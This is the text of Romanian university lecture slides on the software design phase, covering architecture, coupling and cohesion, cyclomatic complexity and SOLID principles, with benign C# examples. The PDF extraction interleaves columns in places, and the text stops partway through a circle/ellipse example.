Sunteți pe pagina 1din 107

Ingineria programării

4. Faza de proiectare

Florin Leon
Universitatea Tehnică „Gheorghe Asachi” din Iași
Facultatea de Automatică și Calculatoare

http://florinleon.byethost24.com/curs_ip.htm

Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm


Faza de proiectare
1. Introducere
2. Arhitectura software
3. Proiectarea modulelor
4. Metrici de proiectare
5. Principii de proiectare
6. Șabloane de proiectare
7. Concluzii

Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm


Faza de proiectare
1. Introducere
2. Arhitectura software
3. Proiectarea modulelor
4. Metrici de proiectare
5. Principii de proiectare
6. Șabloane de proiectare
7. Concluzii

Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm


Simplitate și complexitate

 Sunt două moduri de a proiecta un produs software. Primul


este de a-l face atât de simplu încât este evident că nu există
deficiențe. Al doilea este de a-l face atât de complicat încât nu
există deficiențe evidente. Prima metodă este mult mai dificilă.
(Hoare, 1981)
4
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
Proiectarea și programarea
 Lipsa unei proiectări coerente conduce la
scrierea de cod haotic
 Cu cât te apuci mai repede să scrii cod,
cu atât termini mai târziu
 Programarea are și elemente de proiectare
 Programarea este un act creativ, nu mecanic
 Verifică deciziile de proiectare și umple golurile

5
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
Nivelurile proiectării
 Arhitectura sistemului
 Identificarea subsistemelor principale și a modului în
care comunică acestea
 Are un impact major asupra performanțelor și
caracteristicilor sistemului
 Module / componente
 Partiționarea subsistemelor (un modul poate însemna
un namespace, un pachet, o bibliotecă de funcții etc.)
 Interfețele publice (contracte)

6
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
Nivelurile proiectării
 Clase și tipuri de date
 Proiectare mai puțin formală, mai ușor de schimbat
 Tot trebuie să existe o fază distinctă de proiectare
 Metode / funcții
 Mai degrabă un exercițiu mental decât o procedură
documentată
 Proiectarea explicită este necesară pentru algoritmi
deosebiți

7
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
Calitatea proiectării
 Presiunea comercială
 Nu este niciodată timp să se
proiecteze corect, dar e întotdeauna
timp să se proiecteze de două ori
 Codul proiectat corect este:
 Mai ușor de scris
 Mai ușor de înțeles
 Mai ușor de corectat
 Cu mai puține defecte
(erorile nu sunt ascunse)
 Mai ușor de extins
8
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
Proiectarea corectă: întrebări
 Pentru orice problemă există mai multe variante de
proiectare
 Va funcționa?
 Deseori apar probleme neprevăzute
 Este completă?
 Abia când se încearcă implementarea soluției se înțelege de fapt
problema
 Este cea mai bună soluție?
 Este suficient de bună?
 Pentru orice problemă se fac compromisuri
 Performanțele se pot observa doar când sistemul este funcțional

9
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
Compromisuri
 Extensibilitate vs. simplitate
 Niveluri suplimentare de generalitate
 Eficiență vs. claritate
 Creșterea cuplării pentru evitarea accesului indirect
 Sistemele optimizate sunt mai puțin clare
 Număr de trăsături vs. efort de dezvoltare
 Mai multe trăsături au nevoie de mai mult efort
 Prioritizarea depinde de cerințele proiectului

10
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
Abordarea recomandată
 Iterativă
 Proiectare incrementală
 Prudentă
 Pași mici, număr limitat de decizii, localizarea erorilor
 Realistă
 Aplicarea metodologiilor, dar și utilizarea experienței
 Rezultatul depinde de calitatea specificațiilor, experiența echipei
și rigoarea aplicării procedurilor
 Informată
 Trebuie înțelese complet cerințele și principiile problemei
 Altfel, se poate rezolva altă problemă

11
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
Faza de proiectare
1. Introducere
2. Arhitectura software
3. Proiectarea modulelor
4. Metrici de proiectare
5. Principii de proiectare
6. Șabloane de proiectare
7. Concluzii

Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm


Arhitectura
 Orice sistem are o arhitectură
 Chiar dacă nu este planificată
 Lipsa unei arhitecturi corecte conduce deseori la
eșecul proiectului
 Arhitectura reprezintă proiectarea de nivel înalt
 Prezentare generală, macro, a sistemului
 Detaliile de implementare sunt ascunse

13
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
Componente și conexiuni
 Componentele
 Unitățile logice ale sistemului: clase, procese,
biblioteci, baze de date etc.
 În mod ideal, o componentă îndeplinește un singur
scop (sau activitate)
 Conexiunile
 Apeluri de funcții, evenimente, mesaje ale sistemului
de operare sau din rețea (sincrone sau asincrone)
 Unele comunicații sunt indirecte (de exemplu, prin
resurse partajate: variabile, fișiere)
14
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
Rolul arhitecturii
 Identifică modulele cheie și módul în care interacționează acestea
 Nu cum funcționează intern
 Identifică interfețele importante
 Clarifică rolurile și responsabilitățile subsistemelor
 Primul pas în trecerea de la domeniul problemei către domeniul soluției
 De exemplu, la analiză: sistem distribuit; la proiectare: număr de mașini și
cum își vor împărți sarcinile
 Compromis:
 Informații în arhitectură vs. flexibilitate în fazele ulterioare
 Arhitectura influențează:
 Modul de lucru al echipelor (3 straturi ⇒ 3 echipe)
 Evoluția produsului (reflectă capacitatea de adaptare a produsului la noi
cerințe)
15
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
Calitatea arhitecturii
 Simplă, ușor de înțeles, reprezentabilă vizual
 Clară, fără ambiguități
 Număr optim de componente
 Prea multe: prea multe detalii
 Prea puține: fiecare componentă face prea mult
(dificil de extins și întreținut)
 Flexibilă, extensibilă, dar nu exagerat de generală
 Consecință: aspect estetic plăcut

16
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
Faza de proiectare
1. Introducere
2. Arhitectura software
3. Proiectarea modulelor
4. Metrici de proiectare
5. Principii de proiectare
6. Șabloane de proiectare
7. Concluzii

Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm


Interfețele
 Modúl: parte separabilă logic a unui program
 Interfața unui modul: fațada publică în spatele căreia sunt
ascunse detaliile interne
 Nu se referă doar la conceptul de interfață din programare (interface)
 Tipuri de interfețe: biblioteci, clase, funcții, structuri de date, interfețe cu
sistemul de operare, protocoale de comunicare în rețea
 API (Application Programming Interface) = mulțimea de
operații disponibile
 Proiectarea defectuoasă nu pune operațiile în locul potrivit
 Legea lui Conway: structura software-ului poate urma
structura echipei
18
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
Cuplarea
 Cuplarea reprezintă forța interconexiunilor,
interdependenței dintre module
 Cât trebuie să știm despre un modul pentru a înțelege
alt modul
 În ce măsură modificările unui modul îl afectează pe
celălalt

19
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
Niveluri de cuplare
 Cuplare prin conținut
 Cuplare prin structuri comune
 Cuplare prin control
 Cuplare prin marcaj
 Cuplare prin date

20
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
Cuplarea prin conținut
 Modulele partajează codul: se int Func1(int a)
{
poate „sări” dintr-un modul în printf("In Func1\n");
a++;
codul celuilalt modul goto F2A;
return a;
 Limbajele moderne de }
programare nu permit acest
lucru void Func2()
{
printf("In Func2\n");
F2A:
printf("At Func2A\n");
}

21
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
Cuplarea prin structuri comune
 Modulele referențiază aceleași structuri de date globale (common
coupling) sau aceleași variabile globale (external coupling)

Module A
ReadCustomerRecord()
{
Read(customerRecord); Structura de date comună
if (eof) este customerRecord
eofFlag = true;
}

ModuleB
ValidateCustomerRecord()
{
if (customerRecord.Number is not numeric)
{
errorMessage = "invalid customer number";
PrintErrorReport();
}
} 22
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
Cuplarea prin control
 Un modul trimite celuilalt modul o variabilă de control
care îi determină fluxul de execuție
Module A
ProcessInputCode()
{
Read(inputCode);
ChooseAppropriateAction(inputCode);
}

Module B
ChooseAppropriateAction(inputCode)
{
switch (inputCode)
{
case 1: ReadEmployeeRecord();
case 2: PrintPageHeadings();
case 3: OpenEmployeeMasterFile();
case 4: errorMessage = "Employee number not numeric";
} 23
}
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
Cuplarea prin marcaj
 Un modul trimite celuilalt modul o structură de date
ca parametru
Module A
ProcessTransactionRecord()
{
if (transactionRecord is for a male)
ProcessMaleStudent(currentRecord);
else
ProcessFemaleStudent(currentRecord);
}

Module B
ProcessMaleStudent(currentRecord)
{
Structura de date trimisă este maleStudentCount++;
currentRecord if (currentRecord.studentAge > 21)
matureMaleCount++;
}

24
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
Cuplare prin date
 Un modul trimite celuilalt modul variabile ca parametri
Module A
ProcessCustomerRecord()
{
CalculateSalesTax(totalPrice, salesTax);
}

Module B
CalculateSalesTax(totalPrice, salesTax)
{
if (totalPrice < 10)
salesTax = totalPrice * 0.25;
else if (totalPrice < 100)
salesTax = totalPrice * 0.3;
else
salesTax = totalPrice * 0.4;
}

25
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
Factori ce afectează cuplarea
 Gradul de cuplare dintre două module depinde
de complexitatea interfațării lor
 Scop: cuplare slabă
 Minimizarea numărului de interfețe ale unui modul
 Minimizarea complexității interfețelor (numărul de
parametri)
 Trimiterea ca parametri numai a câmpurilor necesare,
nu a unui întreg obiect
 Evitarea comunicațiilor hibride: date și control

26
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
Factori ce afectează cuplarea

Complexitatea Tip de Tip de


Cuplare
interfeței conexiune comunicație
Simplă, Către modul,
Slabă Date
evidentă prin nume

Control

Complicată, Către elementele


Puternică Hibrid
obscură interne

27
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
Cuplarea în sisteme orientate
pe obiecte
 Cuplarea prin interacțiune
 Se referă la apelul dintr-o metodă a unei clase a
unei metode din altă clasă
 Accesarea secțiunilor interne
 De exemplu, conceptul de friend din C++ violează
principiul încapsulării
 Folosirea câmpurilor pentru a stoca date
temporare și nu starea obiectelor
 Metodele comunică doar prin parametri
 Sunt trimise numai date și numai variabilele necesare
28
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
Cuplarea în sisteme orientate
pe obiecte
 Cuplarea prin compunere
 O clasă folosește instanțe ale altor clase
 Câmpuri, parametri: cuplare mai slabă
 Variabile locale, invizibile din exterior: cuplare mai
puternică
 Cuplarea cu o clasă A înseamnă cuplarea
potențială cu toate subclasele lui A

29
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
Cuplarea în sisteme orientate
pe obiecte
 Cuplarea prin moștenire
 Moștenirea poate reduce cuplarea generală din
sistem
 A cuplată cu B, B are subclasele C, D
 Dacă o metodă m este „ridicată” din C și D în B,
A va fi cuplată numai cu B, nu cu C și D
 Pot fi adăugate fără probleme noi subclase ale lui B
 Cuplarea minimă are loc când clasele derivate nu
modifică metodele moștenite, ci doar adaugă noi
metode
30
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
Coeziunea
 Coeziunea arată cât de apropiate sunt
elementele aceluiași modul
 Scop: coeziune puternică
 În general, o coeziune puternică este corelată cu o
cuplare slabă
 Întrucât există mai multe niveluri de coeziune
(prezentate în continuare), coeziunea unui
modul se consideră a fi nivelul maxim de
coeziune aplicabil elementelor acestuia

31
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
Niveluri de coeziune
 Coeziune prin coincidență
 Coeziune logică
 Coeziune temporală
 Coeziune procedurală
 Coeziune comunicațională
 Coeziune secvențială
 Coeziune funcțională

32
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
Coeziunea prin coincidență
FileProcessing()
 Module create doar pentru a evita {
duplicarea codului din mai multe secțiuni Open(employeeUpdatesFile);
Read(employeeRecord);
 Module rezultate prin partiționarea Print(pageHeadings);
Open(employeeMasterFile);
artificială a altor module (de exemplu, pageCount = 1;
conform criteriului ca un modul să }
errorFlag = false;

respecte un număr maxim permis de


instrucțiuni)
 Combinarea mai multor module pentru a
reduce numărul modulelor din program
sau pentru a respecta un număr minim de
instrucțiuni pe modul

33
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
Coeziunea logică
 Un modul conține funcții care ReadAllFiles(fileCode)
{
aparțin aceleiași clase logice, switch (fileCode)
{
adică toate elementele sale case 1:
realizează operații similare Read(customerTransactionRecord);
if (not eof)
 De exemplu, tratarea tuturor customerTransactionCount++;
case 2:
intrărilor sau ieșirilor Read(customerMasterRecord);
 Este nevoie de o variabilă de if (not eof)
customerMasterCount++;
control care să determine ce case 3:
Read(productMasterRecord);
instrucțiuni se execută în fiecare if (not eof)
caz (informații hibride, cuplarea productMasterCount++;
}
crește) }

34
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
Coeziunea temporală
 Coeziunea temporală poate fi Initialisation()
{
privită ca un tip de coeziune Open(transactionFile);
Print("Enter today's date - DDMMYY");
logică în care timpul este Read(todaysDate);
elementul comun transactionCount = 0;
Read(transactionRecord);
 Modulele conțin funcții asociate if (not eof)
transactionCount++;
în timp Open(reportFile);
Print(pageHeadings);
 De obicei, sunt module de reportTotal = 0;
inițializare sau finalizare, iar }

elementele sunt executate


toate împreună

35
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
Coeziunea procedurală
 Modulele conțin funcții care aparțin ReadStudentRecordsAndTotalStudentAges()
{
unei unități procedurale comune numberOfRecords = 0;
totalAge = 0;
 De exemplu, unele părți dintr-un Read(studentRecord);
while (more records exist)
modul sunt puse într-un nou {
modul: un bloc de decizie mai totalAge += age;
numberOfRecords++;
mare sau un bloc iterativ sunt Read(studentRecord);
plasate într-o altă metodă }
Print(numberOfRecords, totalAge);
 Un modul poate avea doar părți }

dintr-o funcție completă


 Un alt exemplu este funcția Cuvântul and din numele
funcției ne spune că aceasta
main, care execută celelalte are două scopuri, nu unul
funcții într-o anumită ordine, singur, cum ar fi de dorit
conform unei proceduri 36
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
Coeziunea comunicațională
ValidateProductRecord()
 Toate elementele unui modul {
operează cu aceleași date if (transactionType != '0')
{
 De exemplu: găsește titlul unei errorFlag = true;
cărți, respectiv autorul, editura, errorMessage = "invalid transaction type";
PrintErrorReport();
prețul }
if (customerNumber is not numeric)
 Acest tip de coeziune este {
errorFlag = true;
acceptabil, dar are errorMessage = "invalid customer number";
dezavantajul că asupra PrintErrorReport();
}
acelorași date se pot efectua if (productNo == blanks or productNo has
operații neînrudite leading blanks)
{
errorFlag = true;
errorMessage = "invalid product no";
PrintErrorReport();
}
} 37
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
Coeziunea secvențială
 Un modul conține elemente ProcessPurchases()
{
care depind de prelucrarea totalPurchases = 0;
Read(numberOfPurchases);
anterioară a altor elemente for (i = 1 to numberOfPurchases)
 Într-un modul, ieșirea unui {
Get(purchase);
element este intrarea altui totalPurchases += purchase;
}
element discount = totalPurchases * discountPercent;
amountDue = totalPurchases – discount;
}

Se calculează mai întâi totalPurchases


și apoi discount

38
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
Coeziunea funcțională
 Toate elementele unui modul CalculateDiscount()
{
sunt utilizate pentru efectuarea if (product is rated zero discount)
unei singure funcții discount = 0;
else if (productPrice < 50)
discount = productPrice * 0.25;
else if (productPrice < 100)
discount = productPrice * 0.35;
else
discount = productPrice * 0.5;
}

39
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
Comparație

40
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
Coeziunea în sisteme orientate
pe obiecte
 Coeziunea metodelor
 Fiecare metodă implementează o funcție clar definită (coeziune
funcțională)
 Coeziunea claselor
 De ce sunt împreună atributele și operațiile în aceeași clasă
 O clasă reprezintă un concept, dacă nu, metodele și câmpurile
pot fi partiționate în mai multe clase
 Coeziunea moștenirilor
 Coeziunea este mare dacă ierarhia urmărește generalizarea-
specializarea unui concept
 Coeziunea este mică dacă scopul ierarhiei este doar partajarea
codului

41
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
Faza de proiectare
1. Introducere
2. Arhitectura software
3. Proiectarea modulelor
4. Metrici de proiectare
5. Principii de proiectare
6. Șabloane de proiectare
7. Concluzii

Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm


Metrici de proiectare
 Se aplică doar pentru proiectarea detaliată
 Utile mai ales în faza de implementare

 Metrici:
 Complexitatea ciclomatică
 Metrica de coeziune

43
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
Complexitatea ciclomatică
 Ideea de bază:
 Considerând două programe cu aceeași dimensiune, programul
cu mai multe instrucțiuni de decizie este probabil mai complex
 Complexitatea ciclomatică: M = e – n + 2p
 n = numărul de noduri
 e = numărul de arce
 p = numărul de componente conexe (pentru un modul, este 1)
 Numărul ciclomatic: V = e – n + p
 Dacă se adaugă un arc de la nodul final la nodul inițial,
astfel încât graful să devină tare conex, M = V

44
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
Exemplul 1

M = 10 – 7 + 1 = 4
45
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
Exemplul 2
public string Test1(int x) public string Test2(int x)
{ {
switch (x) var retValues = new string[] { "a", "b", "c", "d", "e", "f" };
{ if (x > 0 && x <= 6)
case 1: return "a"; {
case 2: return "b"; return retValues[x - 1];
case 3: return "c"; }
case 4: return "d"; return "other";
case 5: return "e"; }
case 6: return "f";
}
return "other";
}

 M=7  M=3

46
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
Efecte
 Complexitatea ciclomatică a unui modul este
numărul de decizii + 1
 Recomandare: M < 10
 M este o estimare a numărului de căi care trebuie
testate în faza de testare
 Această metrică este corelată cu dimensiunea
modulului și cu numărul de defecte

47
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
.NET Reflector

48
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
.NET Reflector

49
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
Metrica de coeziune
 Ideea de bază este de a vedea cum sunt folosite
variabilele unui modul de către codul modulului
 Se construiește graful fluxului de control al modulului
 I este nodul inițial
 T este nodul final
 Fiecare nod Si este adnotat cu variabilele pe care le
referențiază
 Se utilizează acest graf pentru a calcula mulțimile de
referințe pentru fiecare variabilă: Ri = mulțimea de noduri
care referențiază variabila i a modulului

50
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
Metrica de coeziune
 Pentru fiecare Ri , se calculează coeziunea:

unde:
 dim(S) este numărul tuturor căilor independente de la I la T
care includ cel puțin o instrucțiune din mulțimea S
 G este mulțimea tuturor instrucțiunilor din modul care
referențiază cel puțin o variabilă
 Dacă S = G, atunci dim(S) este complexitatea ciclomatică a
modulului
 Altfel, dim(S) este numărul de decizii din mulțimea de instrucțiuni
+ 1 (complexitatea ciclomatică a mulțimii de instrucțiuni)

51
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
Metrica de coeziune
 Coeziunea unui modul cu n variabile este:

 Dacă un modul are o coeziune puternică,


majoritatea variabilelor vor fi utilizate de
instrucțiuni în majoritatea căilor din modulul
respectiv

52
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
Exemplu (același program)

53
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
Faza de proiectare
1. Introducere
2. Arhitectura software
3. Proiectarea modulelor
4. Metrici de proiectare
5. Principii de proiectare
6. Șabloane de proiectare
7. Concluzii

Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm


Principii fundamentale
 Principiul deschis-închis
 Principiul substituției
 Principiul inversiunii dependențelor
 Principiul responsabilității unice
 Principiul segregării interfețelor

 SOLID
 Single responsibility principle
 Open-closed principle
 Liskov substitution principle
 Interface segregation principle
 Dependency inversion principle
55
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
Principiul deschis-închis
 O clasă trebuie să fie deschisă pentru
extindere, dar închisă pentru modificări
(Bertrand Meyer, 1998)
 Codul nou trebuie adăugat ușor, dar fără a
modifica codul existent

56
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
Exemplu: problemă
public class Rectangle se adaugă public class Circle
{ alte forme {
public double Width { get; set; } geometrice public double Radius { get; set; }
public double Height { get; set; } }
}
public static double Area(object[] shapes)
public class AreaCalculator {
{ double area = 0;
public static double Area(Rectangle[] shapes) foreach (var shape in shapes)
{ {
double area = 0; if (shape is Rectangle)
foreach (var shape in shapes) {
{ Rectangle rectangle = (Rectangle)shape;
area += shape.Width * shape.Height; area += rectangle.Width * rectangle.Height;
} }
return area; else
} {
} Circle circle = (Circle)shape;
area += circle.Radius * circle.Radius * Math.PI;
}
return area;
}
} 57
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
Exemplu: soluție
public abstract class Shape public class Circle : Shape
{ {
public abstract double Area(); public double Radius { get; set; }
}
public override double Area()
public class Rectangle : Shape {
{ return Radius * Radius * Math.PI;
public double Width { get; set; } }
public double Height { get; set; } }

public override double Area() public class AreaCalculator


{ {
return Width * Height; public static double Area(Shape[] shapes)
} {
} double area = 0;
foreach (var shape in shapes)
area += shape.Area();
return area;
}
}

58
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
Principiul substituției
 Subclasele trebuie să fie substituibile claselor
lor de bază (Barbara Liskov, 1997)
 Metodele care folosesc instanțe ale unor clase de
bază trebuie să poată folosi și instanțe ale
claselor derivate cu același efect
 O clasă derivată trebuie să facă tot ceea ce face
clasa ei de bază (și ceva în plus)

59
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
Exemplul 1: rața electrică
public interface IDuck public class ElectricDuck : IDuck
{ {
void Swim(); private bool _isTurnedOn = false;
}
public void Swim()
public class BioDuck : IDuck {
{ if (!_isTurnedOn)
public void Swim() TurnOn();
{
Console.WriteLine("Swimming..."); if (_isTurnedOn)
} Console.WriteLine("Swimming...");
} }

public class ElectricDuck : IDuck private void TurnOn()


{ {
private bool _isTurnedOn = false; _isTurnedOn = true;
}
public void Swim() }
{
if (_isTurnedOn)
Console.WriteLine("Swimming...");
}
60
}
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
Exemplul 2: cercul și elipsa
(cazul 1)
public class Ellipse public class Circle : Ellipse
{ {
public int Rx { get; set; } public Circle(int r) : base(r, r)
public int Ry { get; set; } {
}
public virtual double Area {
get { return Rx * Ry * Math.PI; } } public override double Area {
get { return Rx * Rx * Math.PI; } }
public Ellipse(int rx, int ry)
{ public override void Stretch(int factor)
Rx = rx; Ry = ry; {
} // do nothing
}
public virtual void Stretch(int factor) }
{
Rx *= factor;
} Generalizarea este corectă:
} cercul este o elipsă cu razele
egale

61
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
Cazul 1
private static void Print(Ellipse e)
{
Console.WriteLine("Ellipse: rx = {0}, ry = {1}, a = {2:F2}", e.Rx, e.Ry, e.Area);
}

private static void Print(Circle c)


{
Console.WriteLine("Circle: rx = {0}, (ry = {1}), a = {2:F2}", c.Rx, c.Ry, c.Area);
}

62
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
Cazul 1
private static void Main(string[] args)
{
Ellipse e = new Ellipse(1, 2);
Console.WriteLine("Ellipse r = new Ellipse() -> Type " + e.GetType().Name);
Print(e);
e.Stretch(3);
Print(e);
Console.WriteLine();
Ellipse r = new Ellipse() -> Type Ellipse
Circle c = new Circle(1); Ellipse: rx = 1, ry = 2, a = 6.28
Console.WriteLine("Circle s = new Circle() -> Type " + c.GetType().Name); Ellipse: rx = 3, ry = 2, a = 18.85
Print(c);
c.Stretch(3); Circle s = new Circle() -> Type Circle
Print(c); Circle: rx = 1, (ry = 1), a = 3.14
Console.WriteLine(); Circle: rx = 1, (ry = 1), a = 3.14

Ellipse ec = c; Ellipse ec = c -> Type Circle


Console.WriteLine("Ellipse ec = c -> Type " + ec.GetType().Name); Ellipse: rx = 1, ry = 1, a = 3.14
Print(ec); Ellipse: rx = 1, ry = 1, a = 3.14
ec.Stretch(3);
Print(ec); ec este o elipsă, dar nu
Console.WriteLine(); are efect metoda Stretch
}
63
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
Cazul 2
public class Circle
{
public int R { get; set; }
public virtual double Area { get { return R * R * Math.PI; } }
public Circle(int r) {
R = r;
}
}

public class Ellipse : Circle


Elipsa este un cerc
{ cu o rază suplimentară
public int Ry { get; set; }
public override double Area { get { return R * Ry * Math.PI; } }
public Ellipse(int rx, int ry) : base(rx) {
Ry = ry;
} notație inconsistentă
(de fapt, conceptul de
public void Stretch(int factor) { rază unică nu este
R *= factor; aplicabil unei elipse)
}
} 64
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
Cazul 2
private static void Main(string[] args)
{
Circle c = new Circle(1);
Console.WriteLine("Circle s = new Circle() -> Type " + c.GetType().Name);
Print(c);
Console.WriteLine("No Stretch");
Console.WriteLine();
Circle s = new Circle() -> Type Circle
Ellipse e = new Ellipse(1, 3); Circle: rx = 1, a = 3.14
Console.WriteLine("Ellipse r = new Ellipse() -> Type " + e.GetType().Name); No Stretch
Print(e);
e.Stretch(2); Ellipse r = new Ellipse() -> Type Ellipse
Print(e); Ellipse: rx = 1, ry = 3, a = 9.42
Console.WriteLine(); Ellipse: rx = 2, ry = 3, a = 18.85

Circle ce = e; Circle ce = e -> Type Ellipse


Console.WriteLine("Circle ce = e -> Type " + ce.GetType().Name); Circle: rx = 2, a = 18.85
Print(ce); No Stretch
Console.WriteLine("No Stretch");
Console.WriteLine(); aria cercului ce este incorectă
} (valoarea corectă este 12.56)
65
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
Soluția 1
public interface Ellipsoid
{
double Area { get; }
void Stretch(int factor);
void Print();
}
public class Ellipse : Ellipsoid
{
public int Rx { get; set; }
public int Ry { get; set; }
public double Area { get { return Rx * Ry * Math.PI; } }
public Ellipse(int rx, int ry) {
Rx = rx; Ry = ry;
}
public void Stretch(int factor) {
Rx *= factor;
}
public void Print() {
Console.WriteLine("Ellipse: rx = {0}, ry = {1}, a = {2:F2}", Rx, Ry, Area);
}
} 66
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
Soluția 1
public class Circle : Ellipsoid
{
public int R { get; set; }

public Circle(int r)
{
R = r;
}

public double Area { get { return R * R * Math.PI; } }

public void Stretch(int factor)


{
// do nothing
}

public void Print()


{
Console.WriteLine("Circle: r = {0}, a = {1:F2}", R, Area);
}
}
67
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
Soluția 1
private static void Main(string[] args)
{
Ellipsoid e = new Ellipse(1, 2);
Console.WriteLine("Ellipsoid e = new Ellipse -> Type " + e.GetType().Name);
e.Print();
e.Stretch(3);
e.Print();
Console.WriteLine();

Ellipsoid c = new Circle(1); Ellipsoid e = new Ellipse -> Type Ellipse


Console.WriteLine("Ellipsoid c = new Circle -> Type " + c.GetType().Name); Ellipse: rx = 1, ry = 2, a = 6.28
c.Print(); Ellipse: rx = 3, ry = 2, a = 18.85
c.Stretch(3);
c.Print(); Ellipsoid c = new Circle -> Type Circle
Console.WriteLine(); Circle: r = 1, a = 3.14
Circle: r = 1, a = 3.14
Ellipse ec = c as Ellipse; // ec == null
Console.WriteLine(); cercurile și elipsele
} nu se mai pot converti

68
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
Soluția 2 (clase imutabile)
public class Ellipse
{
public int Rx { get; set; }
public int Ry { get; set; }

public virtual double Area { get { return Rx * Ry * Math.PI; } }

public Ellipse(int rx, int ry)


{
Rx = rx; Ry = ry;
}

public virtual Ellipse Stretch(int factor)


{
Ellipse e = new Ellipse(Rx * factor, Ry);
return e;
}
}

69
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
Soluția 2 (clase imutabile)
public class Circle : Ellipse
{
public Circle(int r) : base(r, r)
{
}

public override double Area { get { return Rx * Rx * Math.PI; } }


}

private static void Print(Ellipse e)


{
Console.WriteLine("Ellipse: rx = {0}, ry = {1}, a = {2:F2}", e.Rx, e.Ry, e.Area);
}

private static void Print(Circle c)


{
Console.WriteLine("Circle: rx = {0}, (ry = {1}), a = {2:F2}", c.Rx, c.Ry, c.Area);
}

70
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
Soluția 2
private static void Main(string[] args)
{
Ellipse e = new Ellipse(1, 2);
Print(e);
e = e.Stretch(3);
Print(e);
Console.WriteLine(); Ellipse: rx = 1, ry = 2, a = 6.28
Ellipse: rx = 3, ry = 2, a = 18.85
Circle c = new Circle(1);
Print(c); Circle: rx = 1, (ry = 1), a = 3.14
e = c.Stretch(3); Ellipse: rx = 3, ry = 1, a = 9.42
Print(e);
Console.WriteLine(); Ellipse: rx = 1, ry = 1, a = 3.14
Ellipse: rx = 3, ry = 1, a = 9.42
Ellipse ec = c;
